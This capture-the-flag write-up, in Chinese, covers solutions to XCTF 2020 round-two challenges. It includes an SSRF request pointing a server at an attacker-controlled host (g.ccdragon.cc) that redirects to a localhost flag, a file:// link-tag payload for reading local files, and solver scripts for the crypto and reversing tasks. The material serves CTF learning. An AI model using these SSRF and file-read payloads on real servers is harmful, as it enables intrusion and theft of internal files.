XCTF 2020 第二场 WriteUp - CNSS

Web

BABYPHP

在github上搜索code相关源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
if ($conn) {
fclose($conn);
return true;
}
}


function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();

}

}
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';

if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){

$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}

/*内网代理代码*/

function getHtmlContext($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
global $header;
if($result){
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = explode("\r\n",substr($result, 0, $headerSize));
$body = substr($result, $headerSize);
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
return $body;
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location");
if(strpos(getHeader("Location"),'http://') == false){
$location = getHost($url).$location;
}
return getHtmlContext($location);
}
return NULL;
}

function getHost($url){
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
return $matches[0];
}
function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
}

if($url != null){

$host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
?>

根据

1
2
3
4
5
6
7
8
9
10
11
12
function getCss($host,$html){ 
preg_match_all("/<link[\\s\\S]*?href=['\\"](.*?[.]css.*?)[\\"'][\\s\\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
}

进行文件包含,在自己的vps中起服务,在test.php中放以下内容

1
<link href="file:///var/www/html/http:///../.css/../flag.php">

访问vps下的test.php即可

1
url/?url=ip/test.php

CLOUDSTORAGE

裸的dns rebinging 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin HTTP/1.1
Host: cloudstorage.xctf.org.cn:8007
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: auth=s%3A9lCPqCKyC2RcdDM2LPnuvbUzoEoP4Iw9.6HN%2Fn7xkAyNAS1p%2F2L6GRm%2FMWkeZBkq3ze6PLUBUMvA
Upgrade-Insecure-Requests: 1
If-None-Match: W/"ee3-MZCFoDQKZJA65j0VME2l6iq7SEI"
Content-Length: 37
Content-Type: application/x-www-form-urlencoded

fileurl=http://g.ccdragon.cc:81/b.php

g.ccdragon.cc应在发包的时候修改为自己vps的ip

b.php内容

1
2
<?php
header("Location:<http://127.0.1:80/flag>");

然后就可以获得flag

Reverse

MIPS

MIPS 三个迷宫 wasd

the flag is flag{md5(your input)}

1
2
3
4
5
sssssssddddddds
ssssssssssdddddddddds
ddssddwddssssssdddssssdddss

sssssssdddddddsssssssssssddddddddddsddssddwddssssssdddssssdddss

Crypto

COMBINELFSR

观察题目

求出 R1,R2R1,R2 即可

利用z3列了个方程就出来了

然后AES解密

python 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from z3 import *

def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
for j in range(20):
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)

def combine(r1,r2,mask1,mask2):
(r11,x1)=lfsr(r1,mask1)
(r22,x2)=lfsr(r2,mask2)
return (r11,r22,(x1*x2)^(x2^1))

R1 = BitVec('R1', 20)
R2 = BitVec('R2', 20)

mask1 = 0x30517
mask2 = 0x25b74

s = Solver()
with open('out', 'rb') as f:
tmp = f.read()

outputs = []
for i in tmp:
b = str(bin(ord(i))[2:]).zfill(8)
for j in b:
outputs.append(int(j))

for i in range(200):
R1,R2,out = combine(R1,R2,mask1,mask2)
s.add(outputs[i] == out)

s.check()
print(s.model())

解得

[R1 = 13706, R2 = 90307]

AES解密如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from hashlib import sha512
import random
from Crypto.Cipher import AES

R1 = 13706
R2 = 90307

with open('flag.txt', 'rb') as f:
c = f.read()

key = sha512(str(R1)+str(R2)).digest()[:16]
aes = AES.new(key,AES.MODE_ECB)
flag = aes.decrypt(c.decode('hex'))
print(flag)

RRSSAA

Level 1

直接分解n,还需要求c1

1
7296 833146 437859 657873 621309 783663 953888 975990 236533 231501 856312 811032 923469 834028 894995 888763 882827 280881 148914 714991 084488 173289 859941 577252 999932 599209 531912 854472 326211 936264 815965 582591 809770 319779 712527 572174 152560 819828 597241 583278 731544 411246 154674 514626 001858 732363 262751 244419 415544 407653 873858 309154 132440 262888 841600 498885 105451 586030 156787 (352 digits) = 1532 475862 559167 888089 449717 098486 868564 837338 169781 366942 603735 389113 940567 854981 202963 (88 digits) × 32181 993113 742525 649878 444059 068224 239861 584101 565408 705794 678443 171392 751924 954605 262593 (89 digits) × 147 954382 967567 334495 825602 333272 303008 663091 186081 473946 510299 621489 456700 250380 306480 186540 635099 296785 300254 866723 827737 503644 593230 916778 129860 327016 484257 850428 720933 989793 (177 digits)

Level 2

显然可知os和tu

可以尝试爆破t-o和u-s吗?

爆破思路:用exgcd得可能的o和s,验证是否相乘后与题目给的一致?

level2 yafu可以分解出一个st 然后和给的os求gcd

1
2
3
4
s = 1769484680827049927550244997585804521449639580340484582882353723613708679540983088786408529
t = 1676411670285048925942831159178890500305934420821187645050581608997548349732091194185627283
o = 1676411670285048925942831159178890500305934420821187645050581608997548349732091194185626951
u = 1769484680827049927550244997585804521449639580340484582882353723613708679540983088786408717

Level 3

怎么分解n?c-m^7%n之后,是p的倍数。然后和n再gcd即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\\Users\\13672>python
Python 3.7.7 (tags/v3.7.7:d7c567b08f, Mar 10 2020, 11:52:54) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> m=81225738828166640599054154023183465870678960906769673605358084529196871174429427936591822589995476552044227730868809310992934103731850597399114246762836121101348301079296663951503688072299542357013093324718850936925265954204973634470836187733828189312553819810470405246669124171178070485118436102895117354417
>>> c=22238585749689335043198360403653248049710943304594623939441271714322821476047298977043454290592085809700500599520080107736858423927071836758485527270617538166045213386679961664240306883126224169183649140929168343634245637578487850945986688768857954082116136864696582066988005306045105860368497626822666433678879698344619056273526837700698315346972423482713305543394110949178233504551465821354514535155389087138867576532139739270960823294873497825040963862751772914087741831403951901
>>> n=24502730939655407292543436897382196297516664227273320602397906878696723372242877776550446563950867624819352853122033114711732125433588724779869985477495098802744344448915032607469954642257825855931872281908232331623829725043031800535739432133948607448362641204034546581444904408754892037110031202573463399201625812005615264689877537231974023870006792196961829162058446662172634212427186470724599941352830546043772969297733239518604749366684163813795999625784931375110137805143337329
>>> tmp=m**7%n
>>> tmp>c
False
>>> c-tmp
11389705976652179588501065106758325845727895167918419968522606489087435892105951489479878230735691823888419201480669860961633584902731555412064700675051467700310033280157718491127788343694497681813664996984684083916474581928966624853987901386497933946681898586377459916137604124675777670808842026930950285750023599509647853399943942551753571347482161105255753952891208975851715218823446762980470910212025484253445730461734175376475649866623992805043165942096048142063959469084214572
>>> co = 1212772429553583883268806939746149416159179818125592013260339780891134579033199535503828410774448123162390054035967620918285942405456386535317502011507835133342925227774949733688214703776854637168691027936466569347420063756971538398587334618636391081016428778459134140049938127468401397683273417592396321204284333209289804086123890772790247318940027572982681372726760654600051600138104182107206441490934030617762558770496419922513442307138676154751
>>> import gmpy2
>>> gmpy2.gcd(co,n)
mpz(4057729664519281076121338443225988892099526485246773847434941231246141531671088917483879990351423100381705512883922248925585256252656392374017315289716863430762736576410575890492602022477881753957323391811899304935050439217697834704679404769)
>>> p = gmpy2.gcd(co,n)
>>> gmpy2.is_prime(p)
True
>>> len(bin(p))-2
800
>>> p
mpz(4057729664519281076121338443225988892099526485246773847434941231246141531671088917483879990351423100381705512883922248925585256252656392374017315289716863430762736576410575890492602022477881753957323391811899304935050439217697834704679404769)

Misc

S34HUNKA

拿到是个xlsx,转成csv好像并没有什么文字

总之先搜个图看看

http://www2.odn.ne.jp/~cbl97790/shinsakutenjishitu2.htm

在网站上找到了s34hunka.jpg

然后看看怎么把xlsx里的图片导出

https://stackoverflow.com/questions/55122922/get-the-color-of-a-cell-from-xlsx-with-python

找了个代码糊一下

219x220

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import openpyxl
from openpyxl import load_workbook
excel_file = 's34hunka.xlsx'
wb = load_workbook(excel_file, data_only = True)
sh = wb['img']

from PIL import Image
filename = "s34hunka.jpg"
image = Image.open(filename)
pix=image.load()

newimg = Image.new('RGB', (219, 220),"white")
newpix=newimg.load()

for i in range(0,219):
print("%d/219"%(i+1))
for j in range(0,220):
color_in_hex = sh.cell(j+1,i+1).fill.start_color.index
rgb1=tuple(int(color_in_hex[k:k+2], 16) for k in (2, 4, 6))
rgb2=pix[i,j]
if (rgb1!=rgb2):
print(rgb1,rgb2)
newpix[i,j]=(0,0,0)

newimg.show()
newimg.save('flag.bmp')

RealWorld

MPI

是个x86_64的ELF

https://www.jianshu.com/p/2fd31665e816

MPI开了13个线程,互相发送信息

https://docs.microsoft.com/zh-cn/message-passing-interface/mpi-dist-graph-create-function

1
2
3
4
1:(sec>>24)^97
2:(sec>>16)^111
3:(sec>>8)^7
4:(sec)^235

所以是找一个长度为12的环并且遍历每个点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
4 12 11 5 9
5 5 2 7 8 3
3 11 9 6
2 10 6
2 7 3
4 8 10 7 4
1 9
3 3 9 6
3 2 9 4
1 0
2 6 9
3 4 7 9
4 1 11 7 5
#include <cstdio>
#include <iostream>
#include <climits>
using namespace std;
typedef long long ll;
const ll N=100,M=100;
ll a,n,sz,dep[N],head[N],ans[14];
struct E{
ll next,to;
}e[M];
void insert(ll a,ll b){
sz++;
e[sz].next=head[a];
head[a]=sz;
e[sz].to=b;
}
void dfs(ll x){
if (dep[x]==13){
for (int i=1;i<=13;i++) printf("%d,",ans[i]);
printf("\\n");
return;
}
for (ll i=head[x];i;i=e[i].next){
ll v=e[i].to;
if (!dep[v]){
dep[v]=dep[x]+1;
ans[dep[v]]=v;
dfs(v);
dep[v]=0;
}
}
}
int main(){
for (int i=0;i<13;i++){
scanf("%d",&n);
for (int j=0;j<n;j++){
scanf("%d",&a);
insert(i,a);
}
}
dep[0]=1;
ans[1]=0;
dfs(0);
}
12,1,5,8,2,11,4,7,3,10,6,9,0

根据输入的secret生成0~12的排列

貌似不是逆康托展开?

复制源码写个二分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include "defs.h"
#include <cstring>
#include <cstdio>
__int64 __fastcall split(__int64 a1, unsigned __int64 a2, _BYTE *a3)
{
__int64 *v3; // r8
unsigned __int64 v4; // rcx
unsigned __int64 v5; // r9
_BYTE *v6; // r10
unsigned __int64 v7; // rax
unsigned __int64 v8; // rdx
unsigned __int64 i; // rax
unsigned __int64 v10; // rax
unsigned __int64 v11; // r11
__int64 result; // rax
unsigned __int64 v13; // rt1
__int64 v14[13]; // [rsp+0h] [rbp-78h]
unsigned __int64 v15; // [rsp+68h] [rbp-10h]

v3 = v14;
memset(v14, 0, sizeof(v14));
v4 = 0LL;
a1 = a1;
v5 = a1 - 1LL;
v6 = a3;
LABEL_3:
v7 = v5;
v4 = 1LL;
do
{
v8 = v7--;
v4 *= v8;
}
while ( v7 != 1 );
for ( i = a2 / v4; ; i = a2 )
{
int ia3 = 0LL;
do
{
if ( !v3[ia3] )
{
if ( !i )
break;
--i;
}
++ia3;
}
while ( ia3 != a1 );
*v6 = ia3;
v14[ia3] = 1LL;
if ( v5 <= 1 )
break;
v10 = v5;
v11 = 1LL;
do
{
v4 = v10--;
v11 *= v4;
}
while ( v10 != 1 );
--v5;
++v6;
a2 %= v11;
if ( v5 > 1 )
goto LABEL_3;
}
}

int main(){
unsigned __int64 in=0;
_BYTE out[128];
ll l=0,r=6000000000;
while(l<r){
ll mid=(l+r)/2;
printf("%llu\\n",mid);
split(13,mid,out);
printf("12,1,5,8,2,11,4,7,3,10,6,9,0\\n");
for (int i=0;i<13;i++) printf("%d,",out[i]);
int c;
scanf("%d",&c);
if (c){
l=mid;
}else{
r=mid;
}
}
}

Input the secret: 5804705925

输入后下断点直接跳到成功分支打印flag